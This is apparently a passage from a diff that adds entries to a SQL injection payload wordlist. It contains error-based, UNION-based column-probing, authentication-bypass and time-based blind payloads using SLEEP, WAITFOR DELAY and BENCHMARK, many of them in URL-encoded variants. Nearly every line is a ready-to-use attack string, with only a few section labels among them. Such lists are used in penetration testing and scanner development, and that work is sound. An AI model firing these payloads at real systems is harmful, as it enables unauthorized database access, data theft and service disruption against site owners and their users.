+ AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
983
+ UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),NULL--
984
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX'
985
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2
986
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3
987
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4
988
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5
989
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6
990
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7
991
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8
992
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9
993
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10
994
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11
995
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12
996
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13
997
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14
998
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15
999
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
1000
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
1001
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
1002
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
1003
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
1004
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
1005
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
1006
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
1007
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
1008
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
1009
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
1010
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
1011
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
1012
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
1013
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
1014
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX'--
1015
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2--
1016
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3--
1017
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4--
1018
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5--
1019
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6--
1020
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7--
1021
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8--
1022
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9--
1023
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10--
1024
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11--
1025
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12--
1026
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13--
1027
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14--
1028
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15--
1029
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
1030
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
1031
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
1032
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
1033
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
1034
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
1035
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
1036
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
1037
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
1038
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
1039
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
1040
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
1041
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
1042
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
1043
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
1044
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX'#
1045
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2#
1046
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3#
1047
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4#
1048
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5#
1049
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6#
1050
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7#
1051
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8#
1052
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9#
1053
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10#
1054
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11#
1055
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12#
1056
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13#
1057
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14#
1058
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15#
1059
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
1060
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
1061
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
1062
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
1063
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
1064
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
1065
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
1066
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
1067
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
1068
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
1069
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
1070
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
1071
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
1072
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
1073
+ UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
1074
+ ''
1075
+ `
1076
+ ``
1077
+ ,
1078
+ "
1079
+ ""
1080
+ /
1081
+ //
1082
+ \
1083
+ \\
1084
+ ;
1085
+ ' or "
1086
+ -- or #
1087
+ ' OR '1
1088
+ ' OR 1 -- -
1089
+ " OR "" = "
1090
+ " OR 1 = 1 -- -
1091
+ ' OR '' = '
1092
+ '='
1093
+ 'LIKE'
1094
+ '=0--+
1095
+ ' OR 'x'='x
1096
+ ' AND id IS NULL; --
1097
+ '''''''''''''UNION SELECT '2
1098
+ %00
1099
+ /*…*/
1100
+ + addition, concatenate (or space in url)
1101
+ || (double pipe) concatenate
1102
+ % wildcard attribute indicator
1103
+ @variable local variable
1104
+ @@variable global variable
1105
+ AND 1
1106
+ AND 0
1107
+ AND true
1108
+ AND false
1109
+ 1-false
1110
+ 1-true
1111
+ 1*56
1112
+ -2
1113
+ 1' ORDER BY 1--+
1114
+ 1' ORDER BY 2--+
1115
+ 1' ORDER BY 3--+
1116
+ 1' ORDER BY 1,2--+
1117
+ 1' ORDER BY 1,2,3--+
1118
+ 1' GROUP BY 1,2,--+
1119
+ 1' GROUP BY 1,2,3--+
1120
+ ' GROUP BY columnnames having 1=1 --
1121
+ -1' UNION SELECT 1,2,3--+
1122
+ ' UNION SELECT sum(columnname ) from tablename --
1123
+ -1 UNION SELECT 1 INTO @,@
1124
+ -1 UNION SELECT 1 INTO @,@,@
1125
+ 1 AND (SELECT * FROM Users) = 1
1126
+ ' AND MID(VERSION(),1,1) = '5';
1127
+ ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
1128
+ Finding the table name
1129
+ Time-Based:
1130
+ ,(select * from (select(sleep(10)))a)
1131
+ %2c(select%20*%20from%20(select(sleep(10)))a)
1132
+ ';WAITFOR DELAY '0:0:30'--
1133
+ Comments:
1134
+ /* C-style comment
1135
+ -- - SQL comment
1136
+ ;%00 Nullbyte
1137
+ ` Backtick
1138
+ SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/
1139
+ SELECT 1,2,IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),​SLEEP(1)))OR"*/ FROM some_table WHERE ex = ample
1140
+ )%20waitfor%20delay%20'0:0:20'%20/*
1141
+ )%20waitfor%20delay%20'0:0:20'%20--
1142
+ ')%20waitfor%20delay%20'0:0:20'%20/*
1143
+ ')%20waitfor%20delay%20'0:0:20'%20--
1144
+ ")%20waitfor%20delay%20'0:0:20'%20/*
1145
+ ")%20waitfor%20delay%20'0:0:20'%20--
1146
+ ))%20waitfor%20delay%20'0:0:20'%20/*
1147
+ ))%20waitfor%20delay%20'0:0:20'%20--
1148
+ '))%20waitfor%20delay%20'0:0:20'%20/*
1149
+ '))%20waitfor%20delay%20'0:0:20'%20--
1150
+ "))%20waitfor%20delay%20'0:0:20'%20/*
1151
+ "))%20waitfor%20delay%20'0:0:20'%20--
1152
+ ,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1153
+ ,NULL)%20waitfor%20delay%20'0:0:20'%20--
1154
+ ',NULL)%20waifor%20delay%20'0:0:20'%20/*
1155
+ ',NULL)%20waitfor%20delay%20'0:0:20'%20--
1156
+ ",NULL)%20waitfor%20delay%20'0:0:20'%20/*
1157
+ ",NULL)%20waitfor%20delay%20'0:0:20'%20--
1158
+ ),NULL)%20waitfor%20delay%20'0:0:20'%20/*
1159
+ ),NULL)%20waitfor%20delay%20'0:0:20'%20--
1160
+ '),NULL)%20waifor%20delay%20'0:0:20'%20/*
1161
+ '),NULL)%20waitfor%20delay%20'0:0:20'%20--
1162
+ "),NULL)%20waitfor%20delay%20'0:0:20'%20/*
1163
+ "),NULL)%20waitfor%20delay%20'0:0:20'%20--
1164
+ ,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1165
+ ,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1166
+ ',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1167
+ ',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1168
+ ",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1169
+ ",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1170
+ ),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1171
+ ),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1172
+ '),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1173
+ '),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1174
+ "),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1175
+ "),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1176
+ ,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1177
+ ,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1178
+ ',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1179
+ ',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1180
+ ",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1181
+ ",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1182
+ ),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1183
+ ),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1184
+ '),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1185
+ '),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1186
+ "),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1187
+ "),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1188
+ ,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1189
+ ,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1190
+ ',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1191
+ ',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1192
+ ",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1193
+ ",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1194
+ ),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1195
+ ),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1196
+ '),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1197
+ '),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1198
+ "),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1199
+ "),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1200
+ ,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1201
+ ,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1202
+ ',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1203
+ ',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1204
+ ",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1205
+ ",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1206
+ ),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1207
+ ),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1208
+ '),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1209
+ '),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1210
+ "),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1211
+ "),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1212
+ ,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1213
+ ',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1214
+ ',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1215
+ ",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1216
+ ",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1217
+ ),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1218
+ ),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1219
+ '),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1220
+ '),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1221
+ "),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1222
+ "),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1223
+ ,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1224
+ ,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1225
+ ',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1226
+ ',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1227
+ ",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1228
+ ",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1229
+ ),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1230
+ ),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1231
+ '),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1232
+ '),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1233
+ "),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1234
+ "),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1235
+ ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1236
+ ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1237
+ ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1238
+ ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1239
+ ",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1240
+ ",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1241
+ ),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1242
+ ),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1243
+ '),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1244
+ '),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1245
+ "),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
1246
+ "),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
1247
+ +if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
1248
+ +if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
1249
+ +if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
1250
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
1251
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
1252
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
1253
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
1254
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
1255
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
1256
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
1257
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
1258
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
1259
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
1260
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
1261
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
1262
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
1263
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
1264
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
1265
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
1266
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
1267
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
1268
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
1269
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
1270
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
1271
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
1272
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
1273
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
1274
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
1275
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
1276
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
1277
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
1278
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
1279
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
1280
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
1281
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
1282
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
1283
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
1284
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
1285
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
1286
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
1287
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
1288
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
1289
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
1290
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
1291
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
1292
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
1293
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
1294
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
1295
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
1296
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
1297
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
1298
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
1299
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
1300
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
1301
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
1302
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
1303
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
1304
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
1305
